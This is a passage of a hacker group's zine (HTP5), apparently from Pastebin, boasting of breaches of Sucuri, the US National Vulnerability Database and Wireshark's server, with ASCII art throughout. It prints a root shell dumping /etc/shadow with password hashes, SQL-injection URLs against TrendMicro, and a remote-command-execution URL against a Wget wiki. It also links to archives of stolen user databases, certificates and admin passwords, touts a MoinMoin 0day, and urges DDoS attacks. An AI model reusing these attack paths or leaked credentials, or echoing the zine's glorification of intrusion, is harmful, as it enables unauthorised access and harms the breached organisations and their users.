  724. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  725.  
  726. lol
  727.  
  728.  
  729.  
  730. ▄▄▄▄▄▄▄▄ ▄▄ ▄▄ ▄▄▄▄▄ ▄▄ ▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄
  731. ██ ██ ██ ██ ██ ██ ██▄▄█ ██ HTP5
  732. ██▄▄▄▄▄▄ ██▄▄██ ██▄▄▄ ██▄▄██ ██ ▀▄▄▄▄▄██▄▄▄
  733. ██
  734. ▄▄▄████████▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  735.  
  736. "Sucuri is a company that offers a security service that detects unauthorized
  737. changes to network (cloud) assets, including web sites, DNS, Whois records, SSL
  738. certificates and others. It is also heavily used as an early warning system to
  739. detect Malware, Spam and other security issues on web sites and DNS hijacking."
  740.  
  741. Sucuri, why didn't you announce that you got owned? Pretty useless warning
  742. system, if you ask us.
  743.  
  744. [root@sucuri www]# uname -a
  745. Linux sucuri.net 2.6.39.1-linode34 #1 SMP Tue Jun 21 10:29:24 EDT 2011 i686 i686
  746. i386 GNU/Linux
  747.  
  748. 2001, here we come
  749. [root@sucuri www]# cat /etc/shadow
  750. root:iFvywDsrRwmjI:15755:0:99999:7:::
  751. bin:*:14746:0:99999:7:::
  752. daemon:*:14746:0:99999:7:::
  753. adm:*:14746:0:99999:7:::
  754. lp:*:14746:0:99999:7:::
  755. sync:*:14746:0:99999:7:::
  756. shutdown:*:14746:0:99999:7:::
  757. halt:*:14746:0:99999:7:::
  758. mail:*:14746:0:99999:7:::
  759. news:*:14746:0:99999:7:::
  760. uucp:*:14746:0:99999:7:::
  761. operator:*:14746:0:99999:7:::
  762. games:*:14746:0:99999:7:::
  763. gopher:*:14746:0:99999:7:::
  764. ftp:*:14746:0:99999:7:::
  765. nobody:*:14746:0:99999:7:::
  766. vcsa:!!:14746:0:99999:7:::
  767. ntp:!!:14746::::::
  768. sshd:!!:14746::::::
  769. dre:mAuUxgVOcOeAE:15678:0:99999:7:::
  770. apache:!!:14898::::::
  771. mysql:!!:14898::::::
  772. mailnull:!!:14946::::::
  773. smmsp:!!:14946::::::
  774. ossec:!!:15461:0:99999:7:::
  775. ^ OSSEC? Here, We're sure you'll get a kick out of this:
  776.  
  777. TrendMicro (owns OSSEC) DB access via SQLi:
  778. http://www.trendmicro.com/download/eula/agreement.asp?id=40993%20and%205=5
  779. http://www.trendmicro.com/download/eula/agreement.asp?id=40993%20and%205=4
  780.  
  781. Included in this segment of HTP5 are the databases of Sucuri's primary site,
  782. though labs.sucuri.net and the rest of their VPS's were also compromised.
  783.  
  784. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  785. ~ http://mirror.hack-the-planet.tv/HTP-5/Sucuri/dbs.tgz
  786. |- 2.1MB | Sucuri WP DB's
  787. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  788. "GREGORY D. EVANS, BABY! NUMBA 1!"
  789.  
  790. ░░░▒▒▒▒░░░░░░░
  791. ░░▒▒▒▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░
  792. ░▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▒▒▒▒▒▒▒▒▒▒░░
  793. ░▒▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒▒▒▒▒▒▒▒▒░
  794. ░▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒▒▓▓▒▒▒▒▒
  795. ▒▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒░
  796. ▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒▒▒
  797. ▒▒▒▒▒▒▒▒░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▒▒
  798. ▒▒▒▒▒▒▒░░░░░░ ░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▒
  799. ░▒▒▒▒▒▒░░░░░░░ ░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▒
  800. ▒▒▒▒▒▒▒░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓░
  801. ▒▒▒▒▒▒▒▒░░░░░░░░ ░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒
  802. ░▒▒▒▒▒▒▒▒░░░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓░
  803. ▒▒▒▒▒▒▒░░░░░░ ░░ ░░░ ░░░▒▒▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓░
  804. ▒▒▒▒▒▒▒░░░░░░ ░░░░░░░░░░▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▓▓░
  805. ░▒▒▓▓▒▒▒▒▒▒░░░░░░░░░░░▒▒▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▒▒
  806. ░▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒░░░░▒▒▓▓▓▓▓▓▒▒░▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒
  807. ▓▓▓▒▓▓▓▓▓▓▓▓▓▓▒▒░░░░▒▓▓▓▓▓▓▒▓▄▓▓▓▓▓▓▓▒▒░░░▒▒▒▒▓▓▓▓▓▓▓▓▓░
  808. ▒▓▓▓▓▓░▒▒▓▓▓▓▓▓▒░ ░▒▒▒▒▒▒▒░░▒▒▒▒▓▓▒▒▒▒░░░▒▒▒▒▓▓▓▓▓▓▒▒▒░
  809. ▒▒▓▓▓▓▄▓▓▓░░▒▒▒▒░ ░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░▒▒▒▒▒▒▒▓▓▓▓▓▒░▒░
  810. ▒▒▒▓▓▓▒▒▓▒▒░░▒▒▒░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▒▒▒░
  811. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓░
  812. ▒▒▒▒▒▒▒░░░░▒▒░░░ ░░░░░▒▒▒▒░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓░ ▒
  813. ▒▒▒░░░░░░░░▒░░░░ ░░ ░░▒▒▓▒▒▒▒░░ ░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▒▒
  814. ▒░░░░░░░░░▒▒▒▒▒░░▒▒▓▓▓▓▓▓░░░░▒▒░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓
  815. ▒▒░░░░░░░░▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒░░░░▒▒▒░▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒
  816. ▒▒▒▒▒░░░░░▒▓▓▓▓▓▓▓▒▓▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▒
  817. ▒▒▒▒▒▒░░▒▒▓▓▓▓▒▒▒░░░░░▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓█████▓▓▒
  818. ▒▒▒▒▒▒▒▓▓▓▒▒▓▓▒▒▒░░░░░░▒▒▓▓▓▒▒▒▓▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒███████▓▓▒▒
  819. ▓▓▓▓▓▓▓▓▓▓▓▓▓▒░ ░░▒▒▒░░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓░░▓█████████▓▓▓▒
  820. ▓▓▓▓▓▓▓▓▒▓▓▒▒░ ░░░░░░░░░░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▒██████████████
  821. ▓▓▓▓▒▒▒▒▒▒▒░░░ ░░▒▒▒░░░░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓██████████████
  822. ▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░▒▓▓▓▓▓▓▓▓▓▓▓▓▓░ ░▓██████████████
  823. ▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒░░░░░░░▒▒▒▓▓▓▓▓▓▓▓▓▓▓░ ▓▓██████████████
  824. ▓▓▓▓▒▒▒▒░░░░░░░░░░░▒▒▓▓▓▓█▓▓▓▓▓▓░ ▒▓███████████████
  825. ▓▓▓█▓▓▓▒▒▒▒░░░░░░░░▒▒▓▓▓▓▓█▓▓▓▓▒░ ░▓▓███████████████
  826. ▓▓▓███████▓▓▓▓▓▓▓▒▓▓▒▓▓▓▓▓▓██▓▓▓▓▒ ░▓▓████████████████
  827. ▓▓████████████▒▒▓▓▓▓▓▓▓▓▓▓████▓▓▓▒░ ▓▓█████████████████
  828. ▓▓▓███████████████▓ ░▒▓▓▓██████▓▓▓▒ ▓▓██████████████████
  829. ▓▓▓████████████████████▒ ░▒▓▓▓██▓▒ ▓▓███████████████████
  830. ▓▓▓███████████████████████▓░ ░▓▒ ▒▓▓███████████████████
  831. ▓▓▓▓███████████████████████████▒ ▓▓▓ ▒▓█████████████████████
  832. ▓██████████████████████████████▓░ ▓▓▓▓▒ ░▓▓█████████████████████
  833. ███████████████████████████████▓░ ▓▓▓▓▓░▓░ ▓▓▓█████████████████████
  834. ███████████████████████████████▓ ░▓▓▒▒▓▒▓▓▒ ▓▓▓██████████████████████
  835. ███████████████████████████████░ ▒▓▒▒░▓▓▓░ ▒▓▓███████████████████████
  836. ███████████████████████████████▒ ▓▓▒░░▓▓░ ░▓▓████████████████████████
  837. ███████████████████████████████▒ ░▒▒▒▓▓▓▓▒ ░▓▓█████████████████████████
  838. ██████████████████████████████▓▓ ░▒▓▒▓▓▓▒▒▒ ▓▓██████████████████████████
  839. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  840.  
  841.  
  842. ▄▄ ▄▄ ▄ ▄▄▄▄ ▄▄▄▄▄ ▄▄ ▄▄ ▄ ▄ ▄▄▄
  843. ███▄ ██ █ █▄▄▄ █ ▄▄▄ ███▄ ██ █ █ █ █ HTP5
  844. ██ ▀█▄██ █ ▄▄▄█ █ ██ ▀█▄██ ▀▄▀ █▄▄▀
  845. ██ ▀██ ██ ▀██
  846. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  847.  
  848. GILL
  849. However, we have come to believe that one 'HTP'
  850. is involved in the NVD breach. They or perhaps
  851. an accomplice of theirs have a disk that Mr.
  852. Belford needs. We want you to help us find it.
  853.  
  854. \
  855.  
  856. ░░▒▒▓▓▓▓▓▓▓▓▓▒▒░░
  857. ░▒▓███████████████████▓▒░
  858. ░▒▓█████████████████████████▓▒░
  859. ░▓████████▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓█████▓
  860. ░▓█████▓▓▓▓▒▒▒░░░░░░░░░░▒▒▒▒▒▓▓▓███▓
  861. ░▓████▓▓▓▒▒▒▒▒▒▒░░░░ ░░░░░▒▒▓▓▓██▓
  862. ▓████▓▓▒▒▒▒▒▒░░░░ ░░▒▒▒▓▓▓██▒
  863. ▒████▓▓▓▒▒▒▒▒░░░ ░▒▒▒▓▓▓██
  864. ▓████▓▓▒▒▒▒▒▒░░░ ░░▒▒▒▓▓▓█░
  865. █████▓▓▒▒▒▒▒░░░ ░░▒▒▒▓▓█▒
  866. ████▓▓▒▒▒▒▒▒▒▒▒░░ ░░▒▒▒▒▓▓▓▓
  867. ███▓▓▒▒▒▒▒▒▒░░░ ░░░░▒▒▒▓▓▓▓
  868. ▓█▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▄░ ░▄▓▓▓▓▓▓▓▓▓█▓▓▓
  869. ▓▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓▓▓▓▓█▒▓▒▓▒▓▓▓▓▓▓▓▓▓▓█▓█░
  870. ▒▓▓▓▓▒▒░░▒█▓▓▓▓▓▓▓▓▓▓█░▒░░▒▓▓▓▓▓▓▓▓▓▓▓█▓▓
  871. ░▒▓▓▒▒▒▒░░▒▒█▓▓▓▓▓▓▓▓▓█░▒░░░▒▓▓▓▓▓▓▓▓▓▓█▒▓░
  872. ▒▒▒▒▒▒▒▒▒▒▒░░▀▀▀▀▀▀▀ ░▒░░ ░▒▒▒▀▀▀▀▀▀▒▓▓▓▒
  873. ░▒▒▒▒▒▒▒▒▒░░ ░░░ ░░▒ ░░▒▒▒▓
  874. ▒▒▒▒▒▒▒▒▒▒▒░ ░░░░░ ░░░░░ ░░▒▓▒
  875. ░▒▒▒▒▒▒▒▒▒░ ░░░░░ ░▒░░░ ░▒▒▓
  876. ░▒▒▒▒▒▒▒▒░░░░ ░░░░▒▒▒▒░░░░░▓▓▒░░ ░░░▒▓▓
  877. ░░▒▒▒▒▒▒░░░░░░▒▒▓▒░░░░░░░░░░░▒▓▓▓▒░░▒▒▓▓▓░
  878. ░▓▒▒▒▒▒░░░░░░░▒▓▓▒░░░ ░░▒▓▓▓▓▒▒▒▓▒▓░
  879. ▓▓▓▒▒▒▒░░░░░░▒▓▒░░ ░░░░ ░░░░░▒▒▓▓▒▒▒▒▒▓
  880. ▓▓▓▓▒▒▒░░░▒▒▒▒░ ░░▒▒▓▒▒▒▒▒░░▒▒▒▒▓▒▒▒▒▓▒
  881. ▓▓▓▓▓▒▒▒▒▒▒▒▓▒ ░░░░░░░░ ░▒▒▒░░▒▓▒▒▓▓
  882. ▒▓▓▓▓▓▒▒▒▒▒▒▓▒░░░░ ░░░░░░░▒▒▒▒▓▓▒▓▓▒
  883. ░░▒▒▓▓▓▓▒▒▒▒▒▒▓▒░░░ ░░▒▒▓▓▓▓▓▓▓
  884. ░ ▒▒▓▓▓▓▒▒▒▒▒▓▓▒▒░░░ ░░▒▒▒▒▓▓▓▓▒▓
  885. ░▒ ░▒▒▓▓▓▓▒▒▒▒▓▓▒▒▒░ ░▒▒▒▓▓▒▓█▓▒ ░░
  886. ░██░ ░▒▒▓▓▓▓▒▒▓▓▓▓▓▓▒▒▒▒▒▓▓▓▓▒▓▓▓▓▒ ░
  887. ▒████░ ░▒▒▓▓▓▒▒▓▓▓███████▓▓▓▓▓▓▓▓▒ ▓▒░
  888. ▒▓██████▒ ░▒▒▓▓▓▓▓▓▓█▓▓▓██▓▓▓▓▓▒▒▒ ▓███▓▓▒▒░░
  889. ░▒▓██████████▓ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒ ░██████████▓▓▓▒▒░░
  890. ░▒▓███████████████▓ ░░░░▒▒▒▒▒▒▒▒░░▒░ ▒█████████████████▓▓▒
  891. ░▒▓▓████████████████████▓░ ▓▓▓▓░▓▓▓░░░ ████████████████████
  892. ██████████████████████████▓░ ▓▓▓▓▓▓░ ▒███████████████████
  893. ████████████████████████████▒ ▓▓██ ▓██████████████████
  894. █████████████████████████████▒ ████ ░██████████████████
  895. ██████████████████████████████▒ ▀████ ▒█████████████████
  896. ███████████████████████████████▓ █████ █████████████████
  897. ████████████████████████████████▓ ██████ ▒████████████████
  898. █████████████████████████████████▓ ███████ ▓███████████████
  899. ██████████████████████████████████▓░ ████████ ░▓██████████████
  900. ████████████████████████████████████░ ▓████████ ▒██████████████
  901. █████████████████████████████████████░ █████████ ██████████████
  902. ██████████████████████████████████████▒ █████████ ▓█████████████
  903. ███████████████████████████████████████▒ ██████████ ░█████████████
  904. ████████████████████████████████████████▓ ▒██████████ ▓████████████
  905. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  906.  
  907. About 8 months ago, we were monitoring our intel (tail -f'ing PM logs from other
  908. networks) and came across an individual who was pretty skilled with ColdFusion.
  909. After due time, we invited him/her to HTP. He/she ended up manifesting the NULL
  910. RDS 1day POC, which owned the NVD.
  911.  
  912. The NVD realized they were breached, and deleted the shells. Soon after, they
  913. were shelled again. They deleted the shells again. Once again, they were
  914. shelled. The DHS CSD was swift and unrelenting with their execution of the
  915. DELETE key.
  916.  
  917. As fun as this was, the rest of HTP acknowledged what had been breached. We
  918. switched tactics and proceeded to traverse the National Vulnerability Database
  919. network. Two boxes down, we downloaded the CFM scripts and certificates hosted
  920. within the NVD and NISTWEB servers. From them, we were able to authenticate
  921. ourselves to access the DHS NIST/NVD user database (root slash period workspace
  922. slash period garbage period).
  923.  
  924. Not knowing what to do, and realizing their DELETE key training had abandoned
  925. them, the DHS CSD resorted to shutting the entire site down. It is our theory
  926. their inspiration for this technique came from an NCIS episode:
  927. http://www.youtube.com/watch?v=u8qgehH3kEQ
  928.  
  929. Included in this segment of HTP5 is the DHS NIST/NVD user database, along with
  930. two certificates and their ColdFusion admin password.properties. Enjoy.
  931.  
  932.  
  933. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  934. ~ http://mirror.hack-the-planet.tv/HTP-5/NVD/NVD.zip
  935. |- 0MB | DHS NIST/NVD user database, two certs, CF admin password.properties
  936. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  937.  
  938.  
  939. ███ ███ ▄████ ▄▄████▄▄ ███ ███
  940. ███ ███ ▄█████ ▄██▀ ▀██▄ ███ ███
  941. ███ ███ ▄██▀███ ███ ███ ███ ███
  942. ██████████ ▄██▀ ███ ███ ███▄███ W
  943. ███ ███ ▄██▀ ███ ███ ████████ I
  944. ███ ███ ▄██▀ ███ ███ ███ ███ ████ R
  945. ███ ███ ▄██████████ ▀██▄ ▄██▀ ███ ████ E
  946. ███ ███ ▄██▀ ███ ▀▀████▀▀ ███ ████ S
  947. H
  948. A
  949. _____ R
  950. ███████████ ███ ███ ██████████ ,-:` \;',`'- K
  951. ███ ███ ███ ███ .'-;_,; ':-;_,'.
  952. ███ ███ ███ ███ /; '/ , _`.-\
  953. ███ ██████████ ███████ | '`. (` /` ` \`|
  954. ███ ███ ███ ███ |:. `\`-. \_ / |
  955. ███ ███ ███ ███ | ( `, .`\ ;'|
  956. ███ ███ ███ ███ \ | .' `-'/
  957. ███ ███ ███ ██████████ `. ;/ .'
  958. `'-._____.-'`
  959.  
  960.  
  961. ███████▄▄ ███ ▄████ ███▄ ███ ██████████ ███████████ /""-._
  962. ███ ▀██▄ ███ ▄█████ ████▄ ███ ███ ███ . '-,
  963. ███ ███ ███ ▄██▀███ █████▄ ███ ███ ███ : '',
  964. ███ ▄██▀ ███ ▄██▀ ███ ███▀██▄ ███ ███████ ███ ; * '.
  965. ███████▀▀ ███ ▄██▀ ███ ███ ▀██▄███ ███ ███ ' * () '.
  966. ███ ███ ▄██▀ ███ ███ ▀█████ ███ ███ \ \
  967. ███ ███ ▄██████████ ███ ▀████ ███ ███ \ _.---.._ '.
  968. ███ ████████ ▄██▀ ███ ███ ▀███ ██████████ ███ : .' _.--''-'' \ ,'
  969. .._ '/.' . ;
  970. ; `-. , \'
  971. ; `, ; ._\
  972. ; \ _,-' ''--._
  973. : \_,-' '-._
  974. \ ,-' . '-._
  975. .' __.-''; \...,__ '.
  976. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 0x06 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄.' _,-' \ \ ''--.,__ '\
  977. / _,--' ; \ ; "^.}
  978. For the final segment of HTP5, we present: Wireshark. ;_,-' ) \ )\ ) ;
  979. / \/ \_.,-' ;
  980. Debian, Python, Wireshark, Mercurial, MoinMoin, and Wget / ;
  981. were all compromised by moinmelt.py, our RXE 0day for ,-' _,-'''-. ,-., ;
  982. MoinMoin (included in HTP5). Hell, Wget is still ,-' _.-' \ / |/'-._...--'
  983. shelled. Would someone please update them? It's been :--`` )/
  984. months by now:
  985.  
  986. http://wget.addictivecode.org/Wget?action=moinexec&c=uname%20-a
  987.  
  988. We had our sights set on backdooring Mercurial, which
  989. would land us shells on UnrealIRCd (3rd time!), Firefox,
  990. QuakeNet, Pidgin, and Debian repositories. However, we
  991. were more interested in having fun, so instead we dropped
  992. into Wireshark's server.
  993.  
  994. After 24 hours, Wireshark's server 'splash' returned a shell.
  995. It featured a 3.7 kernel and an Apache httpd, which hosted
  996. both the blog and the wiki. Permissions were read-world on
  997. the config files, and we couldn't help ourselves. We then
  998. proceeded to monitor Wireshark's www-data mail, as well as
  999. download their user databases. All of the above is included
  1000. in the concluding segment of HTP5. Enjoy your corporate
  1001. security access.
  1002.  
  1003.  
  1004. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1005. ~ http://mirror.hack-the-planet.tv/HTP-5/Wireshark/wireshark.zip
  1006. |- 1.3MB | 31MB compressed Wireshark data
  1007. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1008.  
  1009.  
  1010. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1011. ▄▄▄▄▄
  1012. █ █ ▄ ▄ ▄▄▄▄▄ ▄▄▄▄ ▄▄▄▄ HTP5
  1013. █ █ █ █ █ █▄▄█ █ █
  1014. █▄▄▄█ █▄▄█ █ █ ▀▄ █▄▄█
  1015. ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1016.  
  1017.  
  1018. We've come a long way since we first showed up on the Scene. Current and past
  1019. crew of Hack The Planet, we appreciate your kickass effort that got us to this
  1020. point. Since our inception, we have unfortunately witnessed a few of our crew
  1021. members getting arrested. To them, we regret what has transpired, and wish you
  1022. all the best beyond HTP.
  1023.  
  1024. This zine, like all of the others, has been a blast to create. Those interested
  1025. can check out http://straylig.ht/ for past releases.
  1026.  
  1027. Here's to two years of HTP, everyone. Remember; relax, have fun, be the best,
  1028. and DDoS Anonymous on sight.
  1029.  
  1030. Hack the Planet!
  1031.  
  1032.  
  1033. Shout Outs To:
  1034. > ACiD (colored ANSI)
  1035.  
  1036.  
  1037.  
  1038. .
  1039. .
  1040. H .
  1041. ░▓▓▓▓▓▓▓▓▓▓▓ . P
  1042. ▒▓█▀▀▀██████░ T ░▓▓▓▓▓▓▓▓▓▓
  1043. ▒▓█ ████▀▄▀█░░▓▓▓▓▓▓▓▓▓▓▓ ▒▓█▀▀▀█████░
  1044. ▒▓█ ▀▀██████░▒▓█▀▀▀██████░ ▒▓█ ▀▄█████░
  1045. ▒▓██▀▀▀███▀█░▒▓█ ▀ ██▄▄██░ ▒▓█ ▀ ███▄█░
  1046. ▒▓██ ▀ █████░▒▓█ █ ██████░ ▒▓██▀█▀████░
  1047. ▒▓██ ▄▀█████░▒▓███▀██▀███░ ▒▓██ █ ████░
  1048. ▒▓███▀▀▀████░▒▓███ ▀ ███░ ▒▓██ ▀ ████░
  1049. |▒▓███ ▀ ████░▒▓███ █▄ ███░ ▒▓▓▒▓▓▓▓▓▓▓▓▓
  1050. ▒▓███ █ ████░▒▓█████▀▀███░ ▒▓█▒▓█▀▀▀████░
  1051. |▒▓████▀▀▀███░▒▓█████ ▄ ██░ ▒▓█▒▓█ ▀ ███▄░
  1052. \ |▒▓████ ▀▀███░▒▓█████ █ ██░ ▒▓█▒▓█ ▄▀████░
  1053. \ ▒▓████▀▀ ███░▒▓█████▄▄███░ ▒▓█▒▓██▀██▀██░
  1054. ,-'`▒▓█████▀█▀██░▒▓██████████░ ▒▓█▒▓██ ▀ ██░
  1055. ,` ▒▓█████ ▀ ██░▒▓██████████░ ▒▓█▒▓██ █▄ ██░░
  1056. ▒░ / ▒▒▓█████ █ ██░▒▓██████████░ ▒▓█▒▓██████▀█░░▒ ▒ ▒▒▓
  1057. ▒▒ ▒▒░ ▒▒ ▒▒▒▒▒▓█████████▒▒▒▓██████████░ ▒▓█▒▓████████░░▒▒ ░▒ ░▒ ▒▒▓
  1058. ▓▒▒▒▒--▒▒░-- ▒▒ ▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒░▒▒▒▓▓░░░░░░░░▒▓████████░░▒▒▒▒▒ ░▒▒ ▒▒▒▓ ▒
  1059. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒░▒▒▒▓▓▓▓░░░░░░▒▓████████░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  1060. ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀EOF
  1061.  
  1062. © Offensive Security 2011
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!